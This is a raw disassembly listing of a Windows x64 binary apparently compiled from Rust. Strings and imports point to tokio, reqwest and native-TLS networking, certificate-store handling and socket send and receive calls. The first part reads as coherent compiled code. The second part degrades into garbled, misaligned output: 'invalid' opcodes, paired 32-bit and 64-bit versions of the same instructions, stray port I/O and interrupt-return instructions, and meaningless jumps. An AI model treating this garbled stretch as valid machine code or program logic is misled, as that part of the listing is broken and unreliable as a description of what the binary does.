mov r8d, 0x218
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rbp + 0x1080]
mov r8d, 0x218
mov rcx, rdi
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbp + 0x2560]
lea rcx, [rsi + 0x7a8]
mov r8d, 0x128
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x11b0]
mov r8d, 0xe8
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi + 0x798], r14
mov qword [rsi + 0x7a0], r15
mov qword [rsi + 0x8d0], 0
mov rax, qword [rbp + 0x2418]
mov byte [rax], 4
mov byte [r13], 3
mov rax, qword [rbp + 0x2510]
mov byte [rax + 0x11], 3
mov al, 5
mov rcx, qword [rbp + 0x2560]
mov byte [rcx + 0x2d2], al
movaps xmm6, xmmword [rbp + 0x2570]
add rsp, 0x2608
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp byte [r13 + 0x1b], 0
je 0x14010d2c2
mov rcx, qword [r13 + 0x10]
mov byte [rbp + 0x255f], 1
mov byte [rbp + 0x255e], 1
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov rsi, rax
movzx eax, byte [0x14023c308]
mov ecx, 0x18
mov edx, 8
call fcn.140010630
test rax, rax
je 0x14010dbc1
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rsi
mov rcx, qword [rbp + 0x2460]
lea rsi, case.0x14011130f.467
test rcx, rcx
je 0x14010d2a6
lock dec qword [rcx]
jne 0x14010d2a6
mov qword [rbp + 0x2528], rax
mov rcx, qword [rbp + 0x2460]
mov rdx, qword [rbp + 0x2468]
call fcn.14006cb50
mov rax, qword [rbp + 0x2528]
mov qword [rbp + 0x2460], rax
mov qword [rbp + 0x2468], rsi
mov r14, qword [rbp + 0x2410]
movzx ebx, byte [rbp + 0x2488]
lea rcx, [rbp + 0x12a0]
lea rdx, [rbp + 0x1510]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
xor r8d, r8d
test bl, bl
mov rax, qword [rbp + 0x2448]
cmovne r8, rax
mov qword [rbp + 0x2408], r14
test rax, rax
cmove r8, rax
mov r9, qword [rbp + 0x2470]
mov rax, qword [rbp + 0x2480]
mov byte [rbp + 0x2537], 1
mov byte [rbp + 0x2536], 1
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x1e70]
mov rdx, r14
call fcn.140148680
mov rax, qword [rbp + 0x1e80]
cmp rax, 2
jne 0x14010d37c
mov rax, qword [rbp + 0x1e70]
mov qword [rbp + 0x1c28], 2
mov qword [rbp + 0x1c30], rax
mov qword [rbp + 0x1c20], 1
cmp dword [rbp + 0x12a0], 2
jne 0x14010d3e7
lea rcx, [rbp + 0x12a8]
mov byte [rbp + 0x254e], 1
call fcn.140108d10
jmp 0x14010d3fa
mov qword [rbp + 0x24b8], rax
mov r12d, dword [rbp + 0x1e88]
mov rax, qword [rbp + 0x1e90]
mov qword [rbp + 0x2528], rax
movaps xmm0, xmmword [rbp + 0x1e70]
mov qword [rbp + 0x23c0], r14
movaps xmmword [rbp + 0x2300], xmm0
cmp qword [rbp + 0x2438], 0
je 0x14010d535
mov rcx, qword [rbp + 0x2440]
mov byte [rbp + 0x2535], 1
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rbp + 0x2428], rax
mov eax, 1
mov qword [rbp + 0x24c0], rax
jmp 0x14010d53e
mov byte [rbp + 0x254e], 1
lea rcx, [rbp + 0x12a0]
call fcn.140109150
lock dec qword [r14]
jne 0x14010d869
mov rcx, qword [rbp + 0x2408]
mov byte [rbp + 0x255f], 0
mov byte [rbp + 0x255e], 0
call fcn.140109c20
jmp 0x14010d869
movzx eax, byte [0x14023c308]
mov ecx, recv
mov edx, 1
call fcn.140010630
test rax, rax
je 0x14010dbdc
movabs rcx, 0x6c7275206e692074
mov qword [rax + 6], rcx
movabs rcx, 0x2074736f68206f6e
mov qword [rax], rcx
mov qword [rbp + 0x1c20], rax
mov qword [rbp + 0x1c28], recv
mov qword [rbp + 0x1c30], recv
movzx eax, byte [0x14023c308]
mov ecx, 0x18
mov edx, 8
call fcn.140010630
test rax, rax
je 0x14010dbf0
mov rbx, rax
mov rax, qword [rbp + 0x1c30]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rbp + 0x1c20]
movups xmmword [rbx], xmm0
lea rsi, fcn.140019ef0
mov r14b, 2
mov rax, qword [rbp + 0x2560]
cmp qword [rax + 0x9c8], 0
je 0x14010d4e0
mov rax, qword [rbp + 0x2560]
mov rcx, qword [rax + 0x9d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rax, qword [rbp + 0x2560]
mov rcx, qword [rax + 0x9d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rbp + 0x2560]
cmp byte [rax + 0x2d3], 0
je 0x14010bf0c
cmp dword [rbp + 0xf58], 2
jne 0x14010d524
lea rcx, [rbp + 0xf60]
call fcn.140108d10
jmp 0x14010bf0c
lea rcx, [rbp + 0xf58]
call fcn.140109150
jmp 0x14010bf0c
xor eax, eax
mov qword [rbp + 0x24c0], rax
mov rbx, qword [rbp + 0x2448]
test rbx, rbx
je 0x14010d5c6
mov rsi, qword [rbp + 0x2458]
mov eax, 2
test rsi, rsi
mov qword [rbp + 0x2430], rsi
je 0x14010d5a9
mov rcx, rsi
shr rcx, 0x3e
jne 0x14010dc04
mov r15, rsi
add r15, rsi
je 0x14010d5a9
movzx eax, byte [0x14023c308]
mov edx, 2
mov rcx, r15
call fcn.140010630
test rax, rax
jne 0x14010d5ac
mov byte [rbp + 0x254d], 1
mov ecx, 2
mov rdx, r15
call fcn.140186620
jmp 0x14010c01d
xor r15d, r15d
mov rsi, r12
mov rcx, rax
mov qword [rbp + 0x24c8], rax
mov rdx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14010d5d2
mov rsi, r12
xor eax, eax
mov qword [rbp + 0x24c8], rax
mov rbx, qword [rbp + 0x24b8]
movzx r15d, byte [rbp + 0x2488]
movzx eax, byte [rbp + 0x2489]
mov r12, qword [rbp + 0x2460]
test r12, r12
mov byte [rbp + 0x2533], al
je 0x14010d623
mov rcx, qword [rbp + 0x2468]
lock inc qword [r12]
jle 0x14010dacf
mov qword [rbp + 0x23b0], r12
mov qword [rbp + 0x23e8], rcx
mov qword [rbp + 0x23b8], rcx
jmp 0x14010d62e
mov qword [rbp + 0x23b0], 0
lea rcx, [rbp + 0x1c20]
lea rdx, [rbp + 0x12a0]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
je 0x14010d6bb
lea rbx, [0x1401ea218]
test rsi, rsi
cmovne rbx, qword [rbp + 0x2528]
je 0x14010d68e
movzx eax, byte [0x14023c308]
mov edx, 1
mov rcx, rsi
call fcn.140010630
mov r13, rax
test rax, rax
jne 0x14010d694
mov ecx, 1
mov rdx, rsi
call fcn.140186620
jmp 0x14010c01d
mov r13d, 1
mov rcx, r13
mov rdx, rbx
mov qword [rbp + 0x2520], rsi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x2528]
call qword [sym.imp.secur32.dll_FreeContextBuffer]
test r13, r13
jne 0x14010d6ca
mov r13d, 1
xor eax, eax
mov qword [rbp + 0x2520], rax
mov qword [rbp + 0x2420], r13
mov rdx, qword [rbp + 0x2470]
test rdx, rdx
je 0x14010d707
mov r8, qword [rbp + 0x2480]
lea rcx, [rbp + 0x1e70]
call fcn.140111900
mov rbx, qword [rbp + 0x1e70]
movups xmm0, xmmword [rbp + 0x1e78]
movaps xmmword [rbp + 0x20a0], xmm0
jmp 0x14010d709
xor ebx, ebx
lea rcx, [rbp + 0x1e80]
lea rdx, [rbp + 0x1c20]
mov r8d, 0x130
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rbp + 0x20a0]
movups xmmword [rbp + 0x2080], xmm0
movaps xmm0, xmmword [rbp + 0x2300]
mov rax, qword [rbp + 0x24c0]
mov qword [rbp + 0x1e70], rax
mov rax, qword [rbp + 0x2428]
mov qword [rbp + 0x1e78], rax
mov dword [rbp + 0x1fb0], 0x10000
mov byte [rbp + 0x1fb4], 0
mov qword [rbp + 0x1fc8], r14
mov qword [rbp + 0x1fd0], 1
xorps xmm1, xmm1
movups xmmword [rbp + 0x1fd8], xmm1
mov qword [rbp + 0x1fe8], 0
mov qword [rbp + 0x1ff0], 1
movups xmmword [rbp + 0x1ff8], xmm1
mov qword [rbp + 0x2008], 0
mov rax, qword [rbp + 0x2420]
mov qword [rbp + 0x2010], rax
mov rax, qword [rbp + 0x2520]
mov qword [rbp + 0x2018], rax
mov qword [rbp + 0x2020], rax
mov qword [rbp + 0x2028], 0
movups xmmword [rbp + 0x2030], xmm0
mov rax, qword [rbp + 0x24c8]
mov qword [rbp + 0x2040], rax
mov rax, qword [rbp + 0x2430]
mov qword [rbp + 0x2048], rax
mov qword [rbp + 0x2050], rax
mov qword [rbp + 0x2058], r12
mov rax, qword [rbp + 0x23e8]
mov qword [rbp + 0x2060], rax
mov qword [rbp + 0x2068], 1
mov qword [rbp + 0x2070], 0
mov qword [rbp + 0x2078], rbx
mov byte [rbp + 0x2090], r15b
movzx eax, byte [rbp + 0x2533]
mov byte [rbp + 0x2091], al
mov word [rbp + 0x2092], 0x100
mov byte [rbp + 0x2534], 0
lea rcx, [rbp + 0x1c20]
lea rdx, [rbp + 0x1e70]
call fcn.140111b30
mov rsi, qword [rbp + 0x1c20]
test rsi, rsi
je 0x14010d8b2
mov rbx, qword [rbp + 0x1c28]
mov r14, qword [rbp + 0x1c30]
cmp rbx, 2
je 0x14010d8a2
lea rdx, [rbp + 0x1c38]
lea rcx, [rbp + 0x1e70]
mov r8d, 0x218
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x20e0]
lea rdx, [rbp + 0x1e70]
jmp 0x14010d8ce
mov rbx, qword [rbp + 0x1c28]
mov r14, qword [rbp + 0x1c30]
lea rdx, [rbp + 0x1c38]
lea rcx, [rbp + 0x20e0]
mov r8d, 0x218
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x2438]
call fcn.140111760
mov byte [rbp + 0x254f], 0
lea rcx, [rbp + 0x2368]
call fcn.140111610
lea rcx, [rbp + 0x1080]
lea rdx, [rbp + 0x20e0]
mov r8d, 0x218
call sub.VCRUNTIME140.dll_memcpy
test rsi, rsi
je 0x14010d97b
cmp rbx, 2
mov r13, qword [rbp + 0x2518]
je 0x14010cba3
lea rsi, [rbp + 0x1c20]
lea rdx, [rbp + 0x1080]
mov r8d, 0x218
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xb38]
mov r8d, 0x128
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x1d50]
lea rcx, [rbp + 0xd48]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
mov eax, 1
jmp 0x14010cbab
lea rsi, [rbp + 0x1c20]
lea rdx, [rbp + 0x1080]
mov r8d, 0x218
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xb38]
mov r8d, 0x128
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rbp + 0x1d50]
lea rcx, [rbp + 0xd48]
mov r8d, 0xe8
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov r13, qword [rbp + 0x2518]
jmp 0x14010cbab
movzx eax, byte [0x14023c308]
mov ecx, 0x1d
mov edx, 1
call fcn.140010630
test rax, rax
je 0x14010dc15
movups xmm0, xmmword [0x1401bee00]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [0x1401bedf3]
movups xmmword [rax], xmm0
mov qword [rbp + 0x20e0], rax
mov qword [rbp + 0x20e8], 0x1d
mov qword [rbp + 0x20f0], 0x1d
movzx eax, byte [0x14023c308]
mov ecx, 0x18
mov edx, 8
call fcn.140010630
test rax, rax
jne 0x14010c417
mov qword [rbp + 0x2550], r13
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x2538], r13
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcio_read_buf.rs
mov rcx, rbx
call fcn.140186af0
jmp 0x14010c01d
mov qword [rbp + 0x2538], r13
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x2000
mov rcx, rbx
call fcn.140186af0
jmp 0x14010c01d
mov byte [rbp + 0x255d], 1
mov ecx, 1
mov rdx, r14
call fcn.140186620
jmp 0x14010c01d
lea rcx, str.future_polled_after_completionC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x1401b8998]
mov edx, 0x1e
call fcn.140186f60
jmp 0x14010c01d
ud2
lea rcx, str.future_polled_after_completionC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x1401bd9c0]
mov edx, 0x1e
call fcn.140186f60
jmp 0x14010c01d
mov byte [rbp + 0x255f], 1
mov byte [rbp + 0x255e], 1
mov ecx, 8
mov edx, reloc.WS2_32.dll_recv
call fcn.140186620
jmp 0x14010c01d
mov ecx, 8
mov edx, 8
call fcn.140186620
jmp 0x14010c01d
mov ecx, 8
mov edx, 0x228
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x2538], r13
mov ecx, 1
mov edx, reloc.WS2_32.dll_send
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x2550], r13
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x2550], r13
mov ecx, 8
mov edx, 8
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x2538], r13
mov ecx, 1
mov edx, 0x1e
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x2538], r13
mov ecx, 1
mov edx, 0x21
call fcn.140186620
jmp 0x14010c01d
mov qword [rbp + 0x2510], rsi
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x14010c01d
mov ecx, 1
mov edx, recv
call fcn.140186620
jmp 0x14010c01d
mov ecx, 8
mov edx, 0x18
call fcn.140186620
jmp 0x14010c01d
mov byte [rbp + 0x254d], 1
call fcn.1400106d0
jmp 0x14010c01d
mov qword [rbp + 0x2538], r13
mov ecx, 1
mov edx, 0x1d
call fcn.140186620
jmp 0x14010c01d
dec dword [rax + 0x122c9d]
add byte [rax - 0x7d], cl
invalid
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x122c], 0
jne 0x140110aad
mov byte [rbp + 0x122f], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0x11f0]
call fcn.140019ef0
mov byte [rbp + 0x122f], 0
invalid
adc al, byte [rax]
add byte [rax], al
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x122f], 0
je case.0x1400b130f.289
mov rcx, qword [rbp + 0x1218]
call fcn.14006d7b0
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], 0xfffffffffffffffe
mov r15, r9
mov qword [rbp + 0x10], rcx
mov qword [rdx + 0x38], r8
lea rdi, [rbp - 0x38]
mov rcx, rdi
mov qword [rbp + 0x18], rdx
call fcn.140113540
add byte [rax], al
mov eax, dword [rbp - 0x38]
cmp eax, 2
clc
add dh, byte [rbp + 0x1d]
jne case.default.0x140110b91
mov rdi, qword [rbp - 0x30]
mov esi, edi
and esi, 3
lea rax, [0x1401ef114]
mov fs, ebp
or eax, 0xc634800
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
add ecx, eax
mov al, 0x48
add ecx, eax
mov r12, qword [rbp + 0x18]
jmp rcx
test eax, eax
mov r12, qword [rbp + 0x18]
mov esp, dword [rbp + 0x18]
mov esp, dword [rbp + 0x18]
je 0x140110d12
add dword [rax], eax
add byte [rcx - 0x75], cl
xchg esp, eax
mov rdx, qword [r12 + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rcx - 0x75], cl
invalid
invalid
mov rbx, qword [r12 + 0xb8]
pushfq
and al, 0xb8
invalid
add byte [rax], al
add byte [rax + 0x39], cl
ror dword [rdi], cl
invalid
cmp rbx, rdx
jne case.0x1400e9218.159
test dword [rbp + 0x48000001], edi
mov rax, qword [rbp + 0x90]
mov eax, dword [rbp + 0x90]
add byte [rax], al
add byte [rbx - 0x74b333b3], cl
jne case.0x1400b130f.278
invalid
mov ecx, dword [rbp - 0x34]
mov r14, qword [rbp - 0x30]
mov esi, r14d
shr r14, 0x20
and byte [rcx + rdi - 0x10], cl
cmp rax, r14
cmovb r14, rax
invalid
mov qword [rbp + 8], rcx
lea r13, [r14 + rcx]
add rsi, r13
lea rdx, [r12 + 0xa0]
sub rsi, rbx
jbe case.0x1400ced76.278
mov rax, qword [r12 + 0xa8]
sub rax, rbx
cmp rax, rsi
jae 0x140110c1b
mov r12, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, rsi
call fcn.14018d7c0
mov rax, qword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
add byte [rax - 0x75], cl
mov eax, dword [rbp + 0x18]
sbb byte [r8 - 0x75], r9b
mov rbx, qword [rax + 0xb0]
mov ebx, dword [rax + 0xb0]
cwde
mov al, 0
add byte [rax], al
invalid
mov rdx, r12
mov r12, qword [rdx]
lea rcx, [r12 + rbx]
cmp rsi, 2
cmp esi, 2
jb 0x140110c47
lea r8, [rsi - 1]
mov qword [rbp - 0x40], rdx
sal byte [rcx], 0xd2
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbp - 0x40]
mov edx, dword [rbp - 0x40]
add rbx, rsi
dec rbx
retf
add r12, rbx
fmul qword [rcx + rcx*4 - 0x1f]
mov rcx, r12
loope case.0x1400defac.248
mov byte [rcx], 0
add dword [rax], eax
inc rbx
mov rax, qword [rbp + 0x18]
sbb byte [r8 - 0x77], r9b
sbb byte [rax - 0x77], cl
mov qword [rax + 0xb0], rbx
cwde
mov al, 0
add byte [rax], al
cmp rbx, r13
jb case.0x1401528ff.245
sbb eax, dword [rax + rax]
add byte [rax], al
add byte [rbx + rcx*4 + 0x22], cl
mov r12, qword [rdx]
mov esp, dword [rdx]
and cl, byte [rax - 0x75]
mov rax, qword [rbp + 8]
or byte [r9 - 0x73], r9b
lea rsi, [r12 + rax]
lea esi, [rsp + rax]
xor al, 4
add al, 0x48
mov ecx, esi
int1
mov rcx, rsi
mov rdx, r15
mov edx, edi
mov r15, rax
mov edi, eax
mov r8, r14
mov eax, esi
invalid
call sub.VCRUNTIME140.dll_memcpy
pop rsi
pop rax
invalid
cmp rbx, r15
cmp ebx, edi
jb 0x140111090
add byte [rax], al
add byte [rcx + rbp - 0x15], al
sub ebx, r13d
sub ebx, ebp
add r13, r12
in eax, 0xf
push rdi
xorps xmm0, xmm0
ror byte [rdi], 0x11
movups xmmword [rbp - 8], xmm0
clc
clc
mov dword [rbp - 0x38], r15d
jge case.0x1401528ff.162
enter 0x45c7, 0xffffffffffffffcc
mov dword [rbp - 0x34], 7
int3
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x65], cl
mov qword [rbp - 0x30], r12
mov dword [rbp - 0x30], esp
rol byte gs:[rcx + rcx*4 + 0x75], 1
rol byte [rcx + rcx*4 + 0x75], 1
mov dword [rbp - 0x28], r14d
mov dword [rbp - 0x28], esi
jne case.0x1400e1cdb.198
fadd st(7)
mov dword [rbp - 0x24], 1
fadd qword [r9]
fadd qword [rcx]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov qword [rbp - 0x20], rsi
mov dword [rbp - 0x20], esi
jne case.0x1400642bf.490
mov dword [rbp - 0x18], ebx
pop rbp
call 0x146fd527f
mov dword [rbp - 0x14], 6
in al, dx
in al, dx
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x6d], cl
invalid
invalid
insd dword [rdi], dx
add byte [rax], al
mov qword [rbp - 0x10], r13
mov dword [rbp - 0x10], ebp
insd dword [rdi], dx
invalid
movabs rax, 0x400000000
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x50], eax
mov r8b, 0x48
mov qword [rbp - 0x48], rdi
mov dword [rbp - 0x48], edi
mov eax, 0x18458b48
mov rax, qword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
sbb byte [r8 - 0x73], r9b
sbb byte [rax - 0x73], cl
lea rcx, [rax + 0xc0]
mov al, al
rol byte [rax], 0
add byte [rax], al
add byte [rbp + rcx*4 + 0x45], cl
lea r8, [rbp - 0x50]
lea eax, [rbp - 0x50]
mov r8b, 0x31
mov al, 0x31
xor edx, edx
rol byte [rbp + 0x31], cl
leave
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.secur32.dll_EncryptMessage]
adc eax, 0x7e83d
cmp eax, 0x890007e8
invalid
add byte [rcx + 0x74c085c7], cl
shl rdi, 0x20
shl rdi, 0x20
mov edi, eax
mov dword [rbp + 0x484974c0], 0x4820e7c1
or edi, 2
iretd
invalid
test eax, eax
je case.0x1400e3648.193
sal byte [rcx + rcx*2 + 0x48], 0xc1
shl rdi, 0x20
out 0x20, eax
and byte [rax - 0x7d], cl
or rdi, 2
iretd
add cl, byte [rcx + 0x3e683fe]
mov esi, edi
inc byte [rbx - 0x72b7fc1a]
add eax, 0xde40f
invalid
in al, 0xd
invalid
and esi, 3
out 3, al
lea rax, [0x1401ef114]
lea eax, [0x1401ef114]
pmulhuw mm1, qword [0x14c745508]
in al, 0xd
add byte [rax + 0x63], cl
movsxd rcx, dword [rax + rsi*4]
or eax, 0xc634800
movsxd rcx, dword [rax + rsi*4]
invalid
mov al, 0x48
add rcx, rax
add ecx, eax
mov r12, qword [rbp + 0x18]
mov esp, dword [rbp + 0x18]
sbb bh, bh
jmp rcx
loope case.0x14014c89f.163
movabs rdi, 0x8009031700000002
mov esi, edi
invalid
mov edi, 2
add al, byte [rax]
add byte [rax], al
add byte [rdi], dl
add ecx, dword [rcx]
invalid
invalid
or dword [rax - 0x197c0177], eax
add ecx, dword [rax - 0x73]
invalid
invalid
or byte [rcx + 0x3e683fe], 0x48
inc byte [rbx - 0x72b7fc1a]
and esi, 3
out 3, al
lea rax, [0x1401ef114]
lea eax, [0x1401ef114]
add eax, 0xde3ec
in al, dx
jrcxz case.0x1400e1cdb.226
or eax, 0xc634800
add byte [rax + 0x63], cl
movsxd rcx, dword [rax + rsi*4]
invalid
or al, 0xb0
mov al, 0x48
add rcx, rax
add ecx, eax
jmp rcx
loope case.0x1400e3648.185
movzx eax, byte [rdi + 0x10]
jmp case.0x140110b91.384
and byte [rcx], al
add byte [rax], al
mov dh, 0x47
adc r9b, r13b
adc cl, ch
and byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rbx + 0x4503d845], cl
mov eax, dword [rbp - 0x28]
fadd dword [r11]
add eax, dword [rbp - 0x38]
enter 0x4503, 0xffffffffffffffe8
enter 0x4503, 0xffffffffffffffe8
add eax, dword [rbp - 0x18]
call 0x158769893
call 0x158769893
mov r12, qword [rbp + 0x18]
mov esp, dword [rbp + 0x18]
sbb byte gs:[rcx - 0x75], cl
sbb byte [rcx - 0x75], cl
mov rdx, qword [r12 + 0xb0]
mov edx, dword [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
invalid
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0x39], cl
ret 0xb72
jb 0x140110d5f
cmp rdx, rax
cmp edx, eax
jb 0x140110d5f
or ecx, dword [rcx - 0x77]
mov qword [r12 + 0xb0], rax
mov dword [rsp + 0xb0], eax
test byte [rax + rsi*4], ah
and al, 0xb0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rax
mov edx, eax
ret 0xc749
mov qword [r12 + 0xb8], 0
mov dword [rsp + 0xb8], 0
test byte [rax + rdi*4], ah
and al, 0xb8
mov eax, 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x77], cl
mov ah, 0x24
invalid
mov qword [r12 + 0x100], r14
and al, 0
add byte [rcx], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], dh
fisttp dword [rax + 0x39]
invalid
invalid
xor ebx, ebx
cmp rbx, rdx
cmp ebx, edx
sal dword [rdx + rdi*2 + 0x49], cl
je case.0x1400e7c73.178
jp 0x140110dc4
lea rsi, [r12 + 0x10]
lea esi, [rsp + 0x10]
je case.0x1401528ff.186
and al, 0x10
adc byte [rbp + rcx*4 + 0x75], cl
enter 0x6666, 0x66
invalid
invalid
invalid
lea r14, [rbp - 0x38]
lea esi, [rbp - 0x38]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rdx
mov eax, edx
ror byte [rax + 0x29], 1
sub rax, rbx
sub eax, ebx
fmul dword [rdi]
invalid
jb case.0x140110e31.232
iretd
add al, byte [rax]
add byte [rax], al
add byte [rbp - 0x75], cl
and al, 0x38
and al, 0x38
mov r8, qword [r12 + 0x38]
and al, 0x38
cmp byte [rbp - 0x7b], cl
test r8, r8
test eax, eax
ror byte [rdi], 0x84
je 0x140111051
cmpsd dword [rsi], dword [rdi]
add al, byte [rax]
add byte [rax], al
add byte [rbp - 0x75], cl
mov word [rax + riz*4], fs
and al, 0xa0
mov r9, qword [r12 + 0xa0]
and al, 0xa0
movabs al, byte [0x8948d90149000000]
add byte [rax], al
add byte [rax], al
add byte [rcx + 1], cl
invalid
add r9, rbx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and al, 0x20
mov rcx, r14
mov ecx, esi
int1
mov rdx, rsi
mov edx, esi
bnd call case.0x140153662.235
call case.0x140153662.235
mov bh, 5
add eax, 0x458b4800
enter 0xffffffffffff8348, 0xfffffffffffffff8
invalid
invalid
clc
add byte [rax - 0x75], cl
mov rax, qword [rbp - 0x38]
mov eax, dword [rbp - 0x38]
enter 0xffffffffffff8348, 0xfffffffffffffff8
cmp rax, 2
cmp eax, 2
clc
add dh, byte [rcx + rax*2 + 0x48]
je case.0x1400e7c73.168
mov rdi, qword [rbp - 0x30]
mov edi, dword [rbp - 0x30]
jge case.0x1400af7b4.470
ror byte [rax - 0x7b], 1
ror byte [rbx + rcx*4 + 0x65], 0x18
mov esp, dword [rbp + 0x18]
test rax, rax
test eax, eax
mov r12, qword [rbp + 0x18]
mov esp, dword [rbp + 0x18]
sbb byte gs:[rbp + 0x57], dh
sbb byte [rbp + 0x57], dh
jne case.0x140110e46.51
push rdi
add rbx, rdi
sti
mov qword [r12 + 0xb8], rbx
mov dword [rsp + 0xb8], ebx
and al, 0xb8
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
mov rdx, qword [r12 + 0xb0]
xchg esp, eax
and al, 0xb0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0x39], cl
sal dword [rbp - 0x64], cl
pushfq
cmp rbx, rdx
cmp ebx, edx
jne 0x140110d90
pushfq
mov rax, qword [r12 + 0x100]
mov eax, dword [rsp + 0x100]
and al, 0
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0x10]
adc byte [r8 - 0x39], r9b
mov qword [rcx], 0
mov dword [rcx], 0
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add byte [rax], al
add byte [rax], al
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or r9b, bpl
or cl, ch
jmp case.0x1400b12ea.344
scasb al, byte [rdi]
add byte [rax], al
add byte [rax - 0x41], cl
add eax, dword [rax]
add byte [rax], al
movabs rdi, 0xd00000003
mov edi, 3
or eax, 0x89000000
inc byte [rbx - 0x72b7fc1a]
out 3, al
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x3e683fe], cl
mov esi, edi
and esi, 3
out 3, al
out 3, al
add ecx, dword [rax - 0x73]
lea rax, [0x1401ef114]
lea eax, [0x1401ef114]
add eax, 0xde2ee
or eax, 0xc634800
mov al, 0x48
movsxd rcx, dword [rax + rsi*4]
add rcx, rax
add ecx, eax
mov r12, qword [rbp + 0x18]
jmp rcx
invalid
loope case.0x14014c89f.147
mov esi, edi
and esi, 3
lea rax, [0x1401ef114]
add eax, 0xde2d5
inc byte [rbx - 0x72b7fc1a]
add eax, 0xde2d5
invalid
movsxd rcx, dword [rax + rsi*4]
mov al, 0x48
add ecx, eax
add rcx, rax
jmp rcx
movzx eax, byte [rdi + 0xf]
jmp case.0x140110b91.384
mov rcx, rdi
shr rcx, 0x20
call fcn.14014c870
invalid
